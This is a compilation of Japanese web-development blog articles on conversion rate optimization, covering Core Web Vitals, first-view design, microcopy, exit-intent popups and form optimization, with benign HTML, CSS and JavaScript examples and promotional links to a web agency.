構造化データ（JSON-LD）でレビューをマークアップすべき？ はい。AggregateRating や Review のJSON-LDを追加すると、検索結果に星評価が表示される可能性があり、CTR（クリック率）の向上が期待できます。ただし、Googleのガイドラインでは自社製品のレビューをトップページにマークアップすることは推奨されていないため、商品ページ単位で実装しましょう。 ソーシャルプルーフはHTML/CSSで実装できる 導入ロゴ、数値実績、お客様の声など、ソーシャルプルーフの大半はHTML/CSSの静的実装で完結します。カウントアップアニメーションやスライダーもJavaScript数十行で実現可能です。 「効果的なソーシャルプルーフの設計から実装まで一括で依頼したい」という場合は、CRO実装に対応しているWeb制作チームにご相談ください。 ソーシャルプルーフの実装を相談するなら → RINIA 関連記事 ▶ まとめ: CROとは？コンバージョン率を改善する8つの手法と始め方 ▶ マイクロコピー改善でCVRを上げる方法 ▶ ファーストビュー改善でCVRを上げる方法 ### [ページ速度改善の方法 — Core Web Vitals（LCP・INP・CLS）をコードで最適化](https://codequest.work/pagespeed-guide/) ページ速度改善とは、Webページの表示速度を最適化してユーザー体験とコンバージョン率を向上させるCRO施策です。Googleの調査によると、ページの読み込みが1秒から3秒に増えると直帰率が32%増加し、5秒では90%増加します。 ページ速度の改善はフロントエンドのコード最適化が中心で、すべてコードで対応できます。本記事はCore Web Vitals改善ガイドの実装版という位置づけで、3指標を改善する具体的な手法をコードレベルで解説します。指標の定義・目標値・優先順位といった判断軸は指標起点のガイド側にまとめているため、本記事は実装手順の理解に集中したい方向けの内容です。 Core Web Vitalsの3指標と目標値 指標正式名称良好改善が必要不良LCPLargest Contentful Paint2.5秒以内2.5〜4.0秒4.0秒超INPInteraction to Next Paint200ms以内200〜500ms500ms超CLSCumulative Layout Shift0.1以下0.1〜0.250.25超 参考: Web Vitals - web.dev 各指標の定義・優先順位・改善判断軸の体系的な解説はCore Web Vitals改善ガイドを参照してください。PageSpeed Insightsのスコアの読み方と改善実務、Lab/Fieldデータの違いについてはPageSpeed Insights表示速度改善で詳述しています。 LCP（最大コンテンツ描画）の改善 LCP（Largest Contentful Paint）はビューポート内で最大のコンテンツが描画されるまでの時間です。多くの場合、ヒーロー画像やメインビジュアルがLCP要素になります。LCPの構成要素（TTFB・リソース読み込み遅延・転送時間・レンダリング遅延）の本質的な解説は指標ガイド側にまとめており、本記事ではコードによる具体的な改善手段に集中します。 画像の最適化 LCPの対象は多くの場合ファーストビューのメイン画像です。WebP形式への変換とサイズの最適化で大幅に改善できます。 <picture> <source srcset="/img/hero.avif" type="image/avif"> <source srcset="/img/hero.webp" type="image/webp"> <img src="/img/hero.jpg" alt="メインビジュアル" width="1200" height="630" loading="eager" fetchpriority="high" decoding="async"> </picture> Critical CSSのインライン化 ファーストビューの描画に必要なCSSだけを<style>タグでインライン化し、残りは非同期で読み込みます。 <!-- Critical CSS: インライン --> <style>/* ファーストビュー用の最小限CSS */</style> <!-- Non-critical CSS: 非同期読み込み --> <link rel="preload" href="/css/main.css" as="style" onload="this.onload=null;this.rel='stylesheet'"> <noscript><link rel="stylesheet" href="/css/main.css"></noscript> 参考: クリティカルCSSの抽出 - web.dev リソースヒント <!-- 外部ドメインへの事前接続 --> <link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> <!-- LCP画像のプリロード --> <link rel="preload" href="/img/hero.webp" as="image" type="image/webp"> 参考: リソースヒント - web.dev INP（応答性）の改善 INPはユーザーの操作（クリック・タップ・キー入力）から画面が更新されるまでの時間で、ページ滞在中の全インタラクションの最遅値（実質的には98パーセンタイル）が代表値になります。JavaScriptのメインスレッドブロックが主な原因です。INPの背景にあるFID→INP移行の経緯やGood/Poor基準の意味はCore Web Vitals改善ガイドで詳しく解説しています。スコア計測の方法はPageSpeed Insights実務ガイドを参照してください。 <!-- 非クリティカルなJSを遅延読み込み --> <script src="/js/analytics.js" defer></script> <script src="/js/chat-widget.js" defer></script> <!-- サードパーティスクリプトを非同期化 --> <script src="https://example.com/widget.js" async></script> defer: HTML解析完了後に実行（実行順序を保証） async: ダウンロード完了次第実行（順序不定） ファーストビューに不要なJSはdefer、独立したスクリプトはasyncを使う CLS（レイアウトシフト）の改善 CLSは、ページ読み込み中にレイアウトがずれる現象です。画像・広告・Webフォントが主な原因です。 原因対策実装方法画像のサイズ未指定width/height属性を必ず指定HTML属性またはCSS aspect-ratioWebフォントの読み込みfont-display: swapを設定CSS @font-face動的コンテンツの挿入表示領域を事前に確保CSS min-heightで固定広告枠固定サイズのコンテナを用意CSS width/height固定 /* 画像のアスペクト比を事前確保 */ img { aspect-ratio: attr(width) / attr(height); width: 100%; height: auto; } /* Webフォントの読み込み中にレイアウトシフトを防止 */ @font-face { font-family: 'Noto Sans JP'; src: url('/fonts/NotoSansJP.woff2') format('woff2'); font-display: swap; } 参考: Cumulative Layout Shift (CLS) - web.dev ページ速度改善を依頼する → RINIA よくある質問（FAQ） Q. PageSpeed Insightsのスコアは何点を目指すべき？ モバイルで90点以上を目指しましょう。ただし、スコアそのものよりもCore Web Vitalsの3指標（LCP・INP・CLS）が「良好」判定であることの方が重要です。スコアは参考値であり、ランキング要因はCore Web Vitalsの実測値です。 Q. 画像はWebPとAVIFのどちらを使うべき？ ブラウザ対応を考慮するとWebPが安全です。AVIFはWebPより20〜30%圧縮率が高いですが、Safari 16以降でないと対応していません。picture要素でAVIF→WebP→JPEGのフォールバックを設定するのが理想的です。 Q. WordPressでもページ速度改善は可能？ 可能です。テーマのコード最適化（Critical CSSのインライン化、JSのdefer/async）、画像のWebP変換、不要なプラグインの削除で大幅に改善できます。キャッシュプラグインに頼る前に、まずコード側の最適化を行うことが重要です。 Q. ページ速度とSEOの関係は？ Core Web VitalsはGoogleのランキング要因の1つです。ただし、コンテンツの品質や被リンクに比べると影響度は小さいため、速度改善だけで順位が大幅に上がるわけではありません。速度改善の本質的な効果はユーザー体験の向上とCVR改善にあります。 Q. サードパーティスクリプトの影響を減らすには？ Google Analytics、チャットウィジェット、広告タグなどのサードパーティスクリプトはasync属性で非同期化し、ユーザー操作後に読み込む遅延ロードも検討しましょう。GTM（Google Tag Manager）で一元管理すると、読み込みタイミングを制御しやすくなります。 ページ速度改善はコードで完結する Core Web Vitalsの改善は、画像最適化・CSS/JSの読み込み制御・レイアウトシフト防止の3つに集約されます。いずれもフロントエンドのコード変更で対応可能で、有料の速度改善ツールは不要です。 「自社サイトのCore Web Vitalsが不良判定で改善したい」「WordPressの速度を根本的に改善したい」という場合は、コードによるページ速度改善に対応しているWeb制作チームにご相談ください。 ページ速度改善を相談するなら → RINIA 関連クラスター記事 表示速度・Core Web Vitalsをテーマにしたクラスターの他の記事もご覧ください。本記事は「コード実装軸」の解説で、以下の3記事と役割を分担しています。 【指標軸】Core Web Vitals改善ガイド｜LCP・INP・CLSを最適化する2026年版チェックリスト 【実装軸】ページ速度改善の方法 — Core Web Vitals（LCP・INP・CLS）をコードで最適化（本記事） 【ツール軸】PageSpeed Insights表示速度改善｜スコアの見方とチェックポイント 【UX軸】ファーストビュー改善でCVRを上げる方法｜構成要素と表示速度の最適化 関連記事 ▶ まとめ: CROとは？コンバージョン率を改善する8つの手法と始め方 ▶ ファーストビュー改善でCVRを上げる方法 ▶ ABテストのやり方 — 始めるべき判断基準とコード実装方法 ▶ GTMタグをhead上部に設置するべき理由とパフォーマンス影響 ### [ファーストビュー改善でCVRを上げる方法 — 構成要素と表示速度の最適化](https://codequest.work/firstview-guide/) ファーストビュー改善とは、スクロールせずに見える領域（Above the Fold）を最適化し、ユーザーの離脱を防ぐCRO施策です。Nielsen Norman Groupの調査によると、ユーザーの閲覧時間の57%がファーストビュー内に集中しています。 ファーストビューの改善はデザインとHTML/CSSの変更で完了するため、技術的ハードルが低い割に効果が大きい施策です。本記事は表示速度クラスターの「UX軸」として、ファーストビューの構成要素と改善手法を解説します。ファーストビュー画像はLCPの対象になりやすく、表示速度との結びつきが強いため、3指標全体の判断軸はCore Web Vitals改善ガイド、具体的なコード実装はページ速度改善の実装ガイドと併せて参照してください。 ファーストビューに含めるべき5つの要素 キャッチコピー（h1）: 「何ができるか」ではなく「何が解決するか」を伝える。機能訴求よりベネフィット訴求が効果的 サブコピー: キャッチコピーを補足する1〜2文。具体的な数字や実績を含める CTAボタン: ファーストビュー内に必ず1つ配置。ページの目的（問い合わせ・登録・購入）に直結する行動を促す ビジュアル: サービスの利用イメージが伝わる画像・動画・スクリーンショット 社会的証明: 導入企業ロゴ、利用者数、受賞歴など信頼を補強する要素 要素改善前改善後キャッチコピー高機能なプロジェクト管理ツールチームの生産性を2倍にするプロジェクト管理サブコピー様々な機能でプロジェクトを効率化導入企業500社、平均30%の工数削減を実現CTA詳しくはこちら無料で14日間試す ファーストビューのレイアウトパターン ファーストビューのレイアウトは大きく4つのパターンに分類できます。サービスの種類と訴求ポイントに応じて最適なパターンを選びましょう。 パターン構成向いているサービステキスト+画像 横並び左にコピー+CTA、右にプロダクト画像SaaS、Webサービス全般フルスクリーン動画背景動画+中央にコピー+CTAブランドサイト、クリエイティブ系テキスト中央配置中央にコピー+CTA、下にロゴ帯シンプルなサービス、APIカード型複数の価値提案を並列表示複合サービス、マーケットプレイス ファーストビューの表示速度を最適化する Googleの調査によると、ページの読み込みが1秒から3秒に増えると直帰率が32%増加します。ファーストビューの表示を高速化するための技術的な施策を紹介します。スコアの計測方法と改善実務はPageSpeed Insights表示速度改善を、より広範な実装パターン（preload・fetchpriority・scheduler.yield等）はページ速度改善の実装ガイドを参照してください。 Critical CSSのインライン化 ファーストビューの表示に必要なCSSだけを<head>内にインラインで記述し、残りのCSSは非同期で読み込みます。 <head> <style> /* ファーストビューに必要な最小限のCSS */ .hero { display: flex; align-items: center; min-height: 80vh; } .hero-text { flex: 1; } .hero-image { flex: 1; } .cta-button { padding: 16px 32px; background: #3460FB; color: #fff; } </style> <link rel="preload" href="/css/main.css" as="style" onload="this.onload=null;this.rel='stylesheet'"> </head> 参考: クリティカルCSSの抽出 - web.dev LCP画像の最適化 ファーストビューのメイン画像はLCP（Largest Contentful Paint）の対象になりやすいため、以下の最適化が重要です。LCPの構成要素や閾値の意味については指標ガイドで解説しています。 <img src="/img/hero.webp" alt="サービス利用イメージ" width="800" height="600" loading="eager" fetchpriority="high" decoding="async" > loading="eager": ファーストビュー画像は遅延読み込みしない fetchpriority="high": ブラウザに優先的な読み込みを指示 width/height属性: CLSを防止 WebP形式: JPEG比で25〜35%の容量削減 参考: Largest Contentful Paint (LCP) - web.dev ファーストビュー改善を依頼する → RINIA よくある質問（FAQ） Q. ファーストビューの高さはどのくらいが適切？ デスクトップでは80〜100vh（ビューポート高さの80〜100%）が一般的です。ただし100vhにすると「下にコンテンツがある」ことが分かりにくくなるため、80vh程度にしてコンテンツの存在を暗示するのが効果的です。 Q. ファーストビューに動画を使うべき？ サービスの動作や利用シーンを伝えるのに効果的ですが、ページ速度への影響が大きいため注意が必要です。使用する場合はautoplay・muted・playsinline属性を設定し、ファイルサイズは5MB以下に抑えましょう。 Q. モバイルとデスクトップでファーストビューは分けるべき？ はい。モバイルはビューポートが狭いため、デスクトップの横並びレイアウトでは要素が小さくなりすぎます。モバイルでは縦積みレイアウトにし、キャッチコピー→CTA→画像の順で配置するのが効果的です。 Q. ファーストビューの改善効果をどう測定する？ GA4の直帰率とスクロール率で測定します。ファーストビュー改善前後で直帰率が低下し、90%スクロール率が向上していれば、改善が効果を発揮しています。 Q. キャッチコピーは機能訴求とベネフィット訴求のどちらが良い？ 一般的にベネフィット訴求（「チームの生産性を2倍にする」）の方がCVRが高くなります。ただし、技術者向けの開発ツールなど、機能自体が差別化ポイントになる場合は機能訴求も有効です。ABテストで検証するのが理想的です。 ファーストビューはコードとデザインで改善できる ファーストビュー改善は、構成要素の見直し（コピー・CTA・ビジュアル）と表示速度の最適化（Critical CSS・画像最適化）の2軸で進めます。どちらもHTML/CSS/JavaScriptの範囲で完結する施策です。 「自社サイトのファーストビューを改善したいが、デザインとコーディングの両方を相談したい」という場合は、CRO実装に対応しているWeb制作チームにご相談ください。 ファーストビュー改善を相談するなら → RINIA 関連クラスター記事 表示速度・Core Web Vitalsをテーマにしたクラスターの他の記事もご覧ください。本記事は「UX軸（ファーストビュー）」の解説で、以下の3記事と役割を分担しています。 【指標軸】Core Web Vitals改善ガイド｜LCP・INP・CLSを最適化する2026年版チェックリスト 【実装軸】ページ速度改善の方法 — Core Web Vitals（LCP・INP・CLS）をコードで最適化 【ツール軸】PageSpeed Insights表示速度改善｜スコアの見方とチェックポイント 【UX軸】ファーストビュー改善でCVRを上げる方法 — 構成要素と表示速度の最適化（本記事） 関連記事 ▶ まとめ: CROとは？コンバージョン率を改善する8つの手法と始め方 ▶ ページ速度改善の方法 — Core Web Vitalsをコードで最適化 ▶ マイクロコピー改善でCVRを上げる方法 ### [マイクロコピー改善でCVRを上げる方法 — CTA・フォーム・料金表示の書き方](https://codequest.work/microcopy-guide/) マイクロコピーとは、CTAボタンの文言、フォームのラベル、エラーメッセージなど、UIに含まれる短いテキストのことです。Unbounceの調査によると、CTAボタンのテキスト変更だけでCVRが最大90%改善した事例があります。 マイクロコピーの改善はHTMLのテキスト変更だけで完了するため、CRO施策の中で最も実装コストが低く、効果が大きい手法です。この記事では、CVRに直結するマイクロコピーの改善パターンと具体的な書き方を解説します。 マイクロコピーが影響する4つの場所 1. CTAボタンの文言 CTAボタンはコンバージョンの最終トリガーです。「送信」のような汎用的な文言を、具体的なベネフィットを含む文言に変更するだけでCVRが大きく変わります。 改善前改善後改善のポイント送信無料で相談する「無料」で心理的ハードルを下げる登録30秒で無料登録「30秒」で時間の短さを伝える購入する今すぐ始める「購入」を避けて行動を促す資料請求資料を無料ダウンロード「ダウンロード」で即座に得られる感を出すお問い合わせプロに無料で聞いてみる「プロに聞く」で専門性と気軽さを両立 2. CTAボタン周辺の補足テキスト ボタンの直下や直上に配置する1行のテキストで、ユーザーの不安を解消します。 時間の短さ: 「入力は1分で完了」「30秒で登録完了」 リスクの排除: 「クレジットカード不要」「営業電話なし」「いつでも解約可能」 社会的証明: 「累計1,000社が導入」「本日32名が登録」 価格の安心感: 「14日間無料」「月額980円から」 3. フォームのラベルとプレースホルダー 要素改善前改善後ラベル名前お名前（例: 田中太郎）プレースホルダー入力してくださいexample@company.co.jp必須表示※必須必須（赤バッジ）+ 任意項目に「任意」表示 4. 料金表示のフレーミング 同じ価格でも見せ方で印象が大きく変わります。行動経済学のフレーミング効果を活用します。 テクニック例心理効果日割り表示月額9,800円 → 1日あたり327円金額を小さく感じさせる比較対象コーヒー1杯分の価格身近なものとの比較で安さを演出節約額の提示年払いで2ヶ月分お得得する感覚を強調アンカリング通常価格19,800円 → 特別価格9,800円割引幅を認識させる マイクロコピー改善の効果を計測する テキストの変更は簡単ですが、効果の計測は必ず行いましょう。GA4のイベントトラッキングでCTAのクリック率を測定し、変更前後の数値を比較します。 document.querySelectorAll('[data-cta-track]').forEach(button => { button.addEventListener('click', () => { gtag('event', 'cta_click', { cta_text: button.textContent.trim(), cta_location: button.dataset.ctaTrack }); }); }); 参考: GA4 イベントを送信する - Google Developers HTML側ではdata-cta-track="hero"のようにカスタムデータ属性を追加するだけで、どの位置のCTAがクリックされたかを計測できます。 マイクロコピー改善と効果計測を依頼する → RINIA よくある質問（FAQ） Q. マイクロコピーとキャッチコピーの違いは？ キャッチコピーはページ全体のメッセージを伝える見出しレベルのテキストです。マイクロコピーはボタン・ラベル・エラーメッセージなど、UIの中に埋め込まれた短いテキストを指します。キャッチコピーは「読ませる」もの、マイクロコピーは「行動を促す」ものです。 Q. マイクロコピー改善はABテストなしでも効果がありますか？ あります。改善パターン（「送信」→「無料で相談する」等）は多くの事例で効果が実証されているため、まずは定番パターンを適用し、その後ABテストで微調整するのが効率的です。 Q. マイクロコピーで最も効果が出やすい場所は？ CTAボタンとその周辺テキストです。ボタンの文言変更とボタン直下の不安解消テキストの追加は、最も少ない工数で最も大きなCVR改善が期待できます。まずはCTAボタンから着手することを推奨します。 Q. BtoBとBtoCでマイクロコピーの書き方は変わりますか？ 変わります。BtoBでは「導入実績」「ROI」「セキュリティ」など信頼性・合理性を訴求するコピーが有効です。BtoCでは「今すぐ」「限定」「無料」など感情に訴えるコピーが効果的です。ターゲットの意思決定プロセスに合わせてトーンを調整しましょう。 Q. マイクロコピーの改善でやってはいけないことは？ 過度な煽り文句（「残り3名！」を常時表示など）は信頼を損ないます。嘘の数字や根拠のない緊急性の演出は、短期的にCVRが上がっても長期的にブランドを毀損します。マイクロコピーは「事実に基づいた不安解消」に徹することが重要です。 マイクロコピー改善は最もコスパが高いCRO施策 マイクロコピーの改善はテキスト変更だけで完了するため、実装コストが最も低いCRO施策です。しかし、効果的なコピーを書くには、ユーザー心理の理解とフレーミングの知識が必要です。 「自社サイトのCTAを改善したいが、どんなコピーが効果的か分からない」「マイクロコピーの改善と効果計測をセットで依頼したい」という場合は、CRO実装に対応しているWeb制作チームにご相談ください。 マイクロコピー改善を依頼するなら → RINIA 関連記事 ▶ まとめ: CROとは？コンバージョン率を改善する8つの手法と始め方 ▶ ABテストのやり方 — 始めるべき判断基準とコード実装方法 ▶ ファーストビュー改善でCVRを上げる方法 ### [離脱防止ポップアップをコードで実装する方法【exit-intent対応】](https://codequest.work/exit-popup-guide/) 離脱防止ポップアップとは、ユーザーがページを閉じようとした瞬間にオファーやメッセージを表示し、離脱を防ぐCRO施策です。exit-intentと呼ばれるマウスの動きをJavaScriptで検出して実装します。 OptinMonsterの事例では、exit-intentポップアップでメール登録率が最大600%向上したケースが報告されています。この記事では、離脱防止ポップアップをコードで実装する方法と、ユーザー体験を損なわないための設計ポイントを解説します。 離脱防止ポップアップが有効なケース ケース表示するオファー例期待効果ECサイトのカート離脱「今なら送料無料」「10%OFFクーポン」カート復帰率の向上SaaSの料金ページ離脱「無料トライアル14日間」「導入事例を見る」トライアル登録率の向上ブログ記事の離脱「関連資料を無料ダウンロード」「メルマガ登録」リード獲得LPの離脱「限定価格は本日まで」「無料相談を予約」CVR向上 JavaScriptで実装するexit-intent検出 exit-intentの検出原理は、マウスカーソルがブラウザのビューポート上端を超えた瞬間をmouseleaveイベントで捕捉するものです。 基本的なexit-intent検出 function initExitIntent(callback) { const handleMouseLeave = (e) => { if (e.clientY { document.addEventListener('mouseleave', handleMouseLeave); }, 5000); } 参考: mouseleave イベント - MDN Web Docs setTimeoutで5秒間の遅延を入れることで、ページ読み込み直後の誤検出を防ぎます。 表示頻度の制御 同じユーザーに何度もポップアップを表示するのは逆効果です。localStorageで表示済みフラグを管理し、一定期間は再表示しないようにします。 function shouldShowPopup(popupId, intervalDays) { const key = `exit_popup_${popupId}`; const lastShown = localStorage.getItem(key); if (lastShown) { const daysSince = (Date.now() - Number(lastShown)) / (1000 * 60 * 60 * 24); if (daysSince < intervalDays) { return false; } } return true; } function markPopupShown(popupId) { localStorage.setItem(`exit_popup_${popupId}`, String(Date.now())); } 参考: Web Storage API - MDN Web Docs モーダルUIの実装 HTML5の<dialog>要素を使えば、アクセシビリティに配慮したモーダルを少ないコードで実装できます。 <dialog id="exit-popup"> <h2>ちょっと待ってください！</h2> <p>今なら無料で資料をダウンロードできます。</p> <a href="/download" class="cta-button">無料ダウンロード</a> <button onclick="this.closest('dialog').close()">閉じる</button> </dialog> initExitIntent(() => { if (shouldShowPopup('lead-magnet', 7)) { document.getElementById('exit-popup').showModal(); markPopupShown('lead-magnet'); gtag('event', 'exit_popup_shown', { popup_id: 'lead-magnet' }); } }); 参考: dialog要素 - MDN Web Docs モバイルでの離脱防止 モバイルデバイスではマウスカーソルがないため、exit-intentが使えません。代替として以下の手法があります。 手法トリガー条件向いているケーススクロール率トリガーページの70%以上をスクロールした後、上方向にスクロールした時ブログ記事、LP滞在時間トリガーページに30秒以上滞在した後料金ページ、比較ページ非アクティブ検出10秒以上操作がない時フォームページ 離脱防止ポップアップの実装を依頼する → RINIA UXを損なわないための3つのルール 閉じるボタンを分かりやすく配置する: 小さなXボタンだけでは不十分。「閉じる」テキストボタンを必ず用意する 同じユーザーに繰り返し表示しない: 最低7日間は再表示しない。表示頻度が高いとブランドイメージを損なう ページ読み込み直後に表示しない: 最低5秒はコンテンツを読ませてから表示する。即座のポップアップはGoogleのインタースティシャルガイドラインにも抵触する よくある質問（FAQ） Q. 離脱防止ポップアップはSEOに影響しますか？ Googleのインタースティシャルガイドラインでは、ページ読み込み直後の全画面ポップアップはモバイル検索のランキングに影響する可能性があります。exit-intent型（離脱時に表示）であれば問題ありませんが、ページ表示直後のポップアップは避けましょう。 Q. ポップアップツールを使わずに実装できますか？ できます。exit-intent検出はmouseleaveイベント、モーダルUIはHTML5のdialog要素、表示制御はlocalStorageで実装可能です。有料ツール（月額数千円〜）が不要になり、表示速度への影響も最小限に抑えられます。 Q. モバイルでもexit-intentは使えますか？ マウスカーソルがないため、デスクトップと同じexit-intent検出は使えません。モバイルではスクロール方向の変化（下→上）や滞在時間をトリガーとして代替します。 Q. ポップアップの効果を計測するには？ GA4で「ポップアップ表示」「ポップアップ内CTAクリック」「ポップアップ閉じる」の3イベントを送信し、表示→CTAクリックの転換率を計測します。ABテストと組み合わせて、オファー内容や文言の効果を比較することも可能です。 Q. どのページに離脱防止ポップアップを設置すべき？ 離脱率が高く、かつコンバージョンに近いページが最優先です。具体的には料金ページ、カートページ、申し込みフォームの直前ページが効果的です。ブログ記事への設置はリード獲得目的であれば有効ですが、情報提供ページには不要です。 離脱防止ポップアップはコードで実装できる exit-intent検出・モーダルUI・表示頻度制御の3つは、いずれもブラウザ標準のAPIで実装可能です。有料ポップアップツールに月額費用を払う必要はありません。 「自社サイトに最適なポップアップを設計したい」「モバイル対応も含めた実装を依頼したい」という場合は、コードによるCRO実装に対応しているWeb制作チームにご相談ください。 離脱防止をコードで実装するなら → RINIA 関連記事 ▶ まとめ: CROとは？コンバージョン率を改善する8つの手法と始め方 ▶ マイクロコピー改善でCVRを上げる方法 ▶ EFO（フォーム最適化）とは？離脱率を下げるコード実装ガイド ### [EFO（フォーム最適化）とは？離脱率を下げるコード実装ガイド](https://codequest.work/efo-guide/) EFO（Entry Form Optimization）とは、問い合わせフォームや申し込みフォームの入力完了率を高める施策です。フォームはコンバージョンの最終関門であり、Baymard Instituteの調査（2024年）によるとECサイトのカート離脱率は平均70.19%に達しています。 EFOの施策はすべてJavaScriptとCSSで実装可能です。この記事では、フォーム離脱の原因と、コードで実装する具体的な改善手法を解説します。 フォームで離脱が起きる5つの原因 Baymard Instituteの調査では、フォーム離脱の主な原因は以下の通りです。 入力項目が多すぎる: ユーザーはフォームを見た瞬間に「面倒」と感じて離脱する エラーが送信後にしか分からない: 全項目を入力した後にエラーが出ると、やり直す気力を失う 何を入力すべきか分からない: ラベルやプレースホルダーが不明確 入力形式の制約が厳しい: 半角・全角の指定、ハイフンの有無など 進捗が見えない: 長いフォームでゴールが見えないと途中で諦める EFOの6つの改善手法 1. フィールド数の削減 Formstackの調査（2023年）によると、フォームのフィールド数を削減するとCVRが平均25%向上します。本当に必要な項目だけに絞りましょう。 項目問い合わせフォーム資料請求フォーム会員登録フォーム必須名前・メール・内容名前・メール・会社名メール・パスワード任意電話番号・会社名電話番号・役職名前・電話番号不要（削除候補）住所・FAX・部署住所・FAX住所・生年月日 2. リアルタイムバリデーション 入力中にエラーを即座にフィードバックすることで、送信後のエラーによる離脱を防ぎます。HTML5のConstraint Validation APIを使えば、少ないコードで実装できます。 const form = document.querySelector('#contact-form'); form.querySelectorAll('input, textarea').forEach(field => { field.addEventListener('blur', () => { const errorEl = field.nextElementSibling; if (!field.validity.valid) { field.classList.add('is-invalid'); if (errorEl?.classList.contains('error-message')) { errorEl.textContent = field.validationMessage; } } else { field.classList.remove('is-invalid'); if (errorEl?.classList.contains('error-message')) { errorEl.textContent = ''; } } }); }); 参考: クライアント側のフォームバリデーション - MDN Web Docs 3. ステップフォーム 長いフォームを複数ステップに分割し、進捗バーで現在地を表示します。Typeformの事例では、ステップフォームの導入でフォーム完了率が最大35%向上しています。 function showStep(stepIndex, totalSteps, steps) { steps.forEach((step, i) => { step.style.display = i === stepIndex ? 'block' : 'none'; }); const progress = document.querySelector('.progress-bar'); const percentage = ((stepIndex + 1) / totalSteps) * 100; progress.style.width = `${percentage}%`; progress.setAttribute('aria-valuenow', percentage); } 4. 入力支援（オートコンプリート） HTML5のautocomplete属性を適切に設定するだけで、ブラウザの自動入力機能が有効になります。追加のJavaScriptは不要です。 <input type="text" name="name" autocomplete="name" /> <input type="email" name="email" autocomplete="email" /> <input type="tel" name="tel" autocomplete="tel" /> <input type="text" name="organization" autocomplete="organization" /> <input type="text" name="postal-code" autocomplete="postal-code" /> 参考: HTML autocomplete属性 - MDN Web Docs 5. 入力形式の自動変換 電話番号の全角→半角変換、ハイフンの自動除去など、ユーザーの入力ミスをコード側で吸収します。 function normalizeInput(value) { return value .replace(/[０-９]/g, s => String.fromCharCode(s.charCodeAt(0) - 0xFEE0)) .replace(/[-ー−]/g, '') .trim(); } document.querySelector('input[name="tel"]').addEventListener('blur', (e) => { e.target.value = normalizeInput(e.target.value); }); 6. エラーメッセージの改善 デフォルトのブラウザエラーメッセージは分かりにくいため、カスタムメッセージに置き換えます。 フィールドデフォルト改善後メール「有効なメールアドレスを入力してください」「メールアドレスに@が含まれていません」電話番号「パターンに一致しません」「電話番号は数字のみで入力してください」必須項目「このフィールドは必須です」「お名前を入力してください」 EFOの効果を計測する 改善の効果を定量的に把握するため、GA4でフォームの各ステップをイベントとして送信します。 // フォーム開始（最初のフィールドにフォーカス） form.querySelector('input').addEventListener('focus', () => { gtag('event', 'form_start', { form_name: 'contact' }); }, { once: true }); // フォーム送信完了 form.addEventListener('submit', () => { gtag('event', 'form_submit', { form_name: 'contact' }); }); 参考: GA4 イベントを送信する - Google Developers GA4の探索レポートでform_startとform_submitのイベント数を比較すれば、フォームの完了率（= form_submit / form_start）を算出できます。 フォーム最適化のコード実装を依頼する → RINIA よくある質問（FAQ） Q. EFOに専用ツールは必要ですか？ 不要です。リアルタイムバリデーション、ステップフォーム、オートコンプリートなど、EFOの主要施策はすべてHTML5のAPIとJavaScriptで実装できます。有料EFOツールはGUI操作やレポートが利点ですが、コード実装であれば月額コスト0円です。 Q. フォームのフィールド数は何個が最適ですか？ 用途によりますが、問い合わせフォームであれば3〜5項目が最適です。HubSpotの調査によると、フィールド数が3個のフォームはCVRが25%、5個では20%、7個以上では15%以下に低下する傾向があります。 Q. ステップフォームと単一ページフォームはどちらが良い？ フィールド数が5個以下なら単一ページ、6個以上ならステップフォームが効果的です。ステップフォームは「最初の入力を始めた」という心理的コミットメントにより、途中離脱を減らす効果があります。 Q. フォーム改善の効果をどう測定すればいい？ GA4でフォーム開始（form_start）と送信完了（form_submit）のイベントを設定し、完了率（form_submit / form_start）を計測します。改善前後で完了率を比較することで、施策の効果を定量的に把握できます。 Q. WordPressのContact Form 7でもEFOは可能？ 可能です。Contact Form 7が出力するHTMLに対して、JavaScriptでリアルタイムバリデーションや入力形式の自動変換を追加できます。プラグインの設定だけでは対応できない改善も、コードを追加すれば実現できます。 フォーム最適化はコードで完結する EFOの施策は、HTML5のConstraint Validation API・autocomplete属性・JavaScriptを組み合わせることで、有料ツールなしで実装できます。フォームはコンバージョンの最終関門であり、ここを改善するだけでCVRに直接的なインパクトがあります。 「自社のフォーム離脱率が高いが、どこから手をつけるべきか分からない」「既存のフォームプラグインにEFO施策を追加したい」という場合は、コードによるフォーム最適化に対応しているWeb制作チームにご相談ください。 フォーム改善をコードで実装するなら → RINIA 関連記事 ▶ まとめ: CROとは？コンバージョン率を改善する8つの手法と始め方 ▶ ABテストのやり方 — 始めるべき判断基準とコード実装方法 ▶ マイクロコピー改善でCVRを上げる方法 ### [CROとは？コンバージョン率を改善する8つの手法と始め方](https://codequest.work/cro-guide/) CRO（Conversion Rate Optimization）とは、Webサイトのコンバージョン率を改善するための施策全般を指します。広告やSEOで集客を増やすのではなく、今あるアクセスからの成果を最大化するアプローチです。 CROの手法はABテスト、フォーム最適化、離脱防止など多岐にわたりますが、その多くはコードで実装可能です。この記事では、CROの全体像と8つの主要手法、そして自社サイトで何から始めるべきかの判断基準を解説します。 CROを始めるべき判断基準 CROは、一定のアクセスとコンバージョンデータがあって初めて効果を発揮します。以下の基準を満たしているか確認しましょう。 指標CROを始める目安補足月間PV3,000PV以上改善効果を数値で検証できる最低ラインCVR計測GA4でコンバージョンイベントを設定済み現状のCVRが分からなければ改善も測れないコンバージョン定義明確（問い合わせ・購入・登録など）「なんとなくPVを増やしたい」はCROではなくSEO改善対象ページLPまたはフォームページが存在するブログ記事のみのサイトはまず集客を優先 CROは「集客は足りているが成果が出ない」段階で最も効果を発揮します。月間PVが1,000未満の場合は、まずSEOや広告で集客を増やす方が投資対効果は高くなります。 CROの8つの手法 CROの施策は大きく「テスト系」「UI改善系」「心理・行動系」の3カテゴリに分けられます。以下の8つが代表的な手法です。 カテゴリ手法概要コード実装テスト系ABテスト2パターンを比較してCVRの高い方を採用○UI改善系EFO（フォーム最適化）フォームの離脱率を下げて完了率を上げる○ファーストビュー改善最初に見える領域で離脱を防ぐ○ページ速度改善表示速度を上げて離脱率を下げる○心理・行動系離脱防止ポップアップ離脱直前にオファーを表示して引き留める○マイクロコピー改善ボタン周辺のテキストで不安を解消する○ソーシャルプルーフ実績・レビューで信頼性を高める○パーソナライズユーザー属性に応じて表示内容を変える○ すべての手法がコードで実装可能です。有料ツールに頼らず、JavaScript・CSS・GA4の組み合わせで対応できます。以下、各手法の詳細を解説します。 1. ABテスト — 仮説を数値で検証する ABテストは、ページの要素を2パターン用意してユーザーをランダムに振り分け、どちらがCVRが高いかを検証する手法です。CROの中で最も再現性が高く、データに基づいた意思決定ができます。 